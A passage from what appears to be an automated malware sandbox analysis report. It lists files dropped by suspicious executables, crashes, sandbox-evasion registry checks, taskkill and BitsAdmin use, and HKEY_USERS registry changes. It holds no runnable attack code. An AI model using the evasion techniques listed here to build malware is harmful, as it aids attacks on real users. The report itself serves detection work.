(x86)\GameBox INC\GameBox\d.jfm rundll32.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\status.json Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_asf_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsatip_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File opened for modification C:\Program Files (x86)\hdvAaRs\hdvAaRs.dll powershell.exe File created C:\Program Files (x86)\lighteningplayer\data_load.exe Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\sandbox.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\vimeo.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libntservice_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_equalizer.html Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libtcp_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_ps_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\common.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\newgrounds.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libftp_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libadummy_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libimage_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_h264_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Folder-48.png Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\twitch.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libtta_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\lua\liblua_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\browse_window.html Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\status.xml Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libvod_rtsp_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\Company\NewProduct\d md8_8eus.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\d rundll32.exe File created C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\playlist\appletrailers.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\keystore\libmemory_keystore_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_concat_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libhttps_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_dirac_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\jquery.jstree.js Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\soundcloud.luac Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libtimecode_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\GameBox INC\GameBox\d.jfm rundll32.exe File created C:\Program Files\Windows Defender\UWEHOWRJWP\ultramediaburner.exe Daldoula.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\equalizer_window.html Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libsmf_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\plugins\text_renderer\libtdummy_plugin.dll Lw59AVnnwEVS2qBkUzd1SH7M.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\main.css Lw59AVnnwEVS2qBkUzd1SH7M.exe -
Drops file in Windows directory 55 IoCs
Processes:
msiexec.exeMicrosoftEdge.exeMicrosoftEdge.exedescription ioc process File opened for modification C:\Windows\Installer\MSIE76.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3C46.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIDD25.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2CFF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI356D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI49A9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2A0E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF1FD.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI24DB.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEB6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2C24.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI4A75.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File created C:\Windows\Installer\f760984.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIE24A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIDD8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE17.tmp msiexec.exe File created C:\Windows\Installer\f760981.msi msiexec.exe File opened for modification C:\Windows\Installer\f760981.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI2838.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSIF24.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3BA9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI441.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI47A3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE1EB.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1E43.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI37FE.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI4B02.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIDFE5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2BC4.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC21.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File opened for modification C:\Windows\Installer\MSIE27A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2C52.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2E48.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI53EF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFE0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF037.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFD49.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI29A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2DCC.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIE18D.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSIE0D0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF922.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI44E3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI488E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI4CC9.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 13 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 3036 2916 WerFault.exe setup_install.exe 4780 2116 WerFault.exe sonia_3.exe 4256 5092 WerFault.exe svchost.exe 1640 5068 WerFault.exe Q9Xxjro0jH0zlr6RfKi9LgBE.exe 2208 5068 WerFault.exe Q9Xxjro0jH0zlr6RfKi9LgBE.exe 4260 3856 WerFault.exe IprBwC3NfjasNXgUjJGkEVCg.exe 4468 5068 WerFault.exe Q9Xxjro0jH0zlr6RfKi9LgBE.exe 5344 3856 WerFault.exe IprBwC3NfjasNXgUjJGkEVCg.exe 5620 3856 WerFault.exe IprBwC3NfjasNXgUjJGkEVCg.exe 5672 5068 WerFault.exe Q9Xxjro0jH0zlr6RfKi9LgBE.exe 5940 5068 WerFault.exe Q9Xxjro0jH0zlr6RfKi9LgBE.exe 5996 3856 WerFault.exe IprBwC3NfjasNXgUjJGkEVCg.exe 5592 3856 WerFault.exe IprBwC3NfjasNXgUjJGkEVCg.exe -
Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
cgebcbwdeebcbwsonia_2.exedeebcbwcgebcbw11111.exedeebcbwUcRaSxz0CsWqz0I1U5SuBHIg.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cgebcbw Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cgebcbw Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 11111.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cgebcbw Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI UcRaSxz0CsWqz0I1U5SuBHIg.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI UcRaSxz0CsWqz0I1U5SuBHIg.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cgebcbw Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 11111.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 11111.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cgebcbw Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cgebcbw Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI UcRaSxz0CsWqz0I1U5SuBHIg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI deebcbw -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exesvchost.exeZLWk3blAcv9tMRjjpwTQdTzR.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ZLWk3blAcv9tMRjjpwTQdTzR.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ZLWk3blAcv9tMRjjpwTQdTzR.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 6228 timeout.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
-
Kills process with taskkill 5 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 5552 taskkill.exe 3032 taskkill.exe 4496 taskkill.exe 6320 taskkill.exe 3536 taskkill.exe -
Processes:
browser_broker.exeMicrosoftEdgeCP.exebrowser_broker.exeMicrosoftEdge.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
4gaqjB5f8pyUb1xMYoRW5tyv.exesvchost.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs 4gaqjB5f8pyUb1xMYoRW5tyv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 4gaqjB5f8pyUb1xMYoRW5tyv.exe -
Modifies registry class 64 IoCs
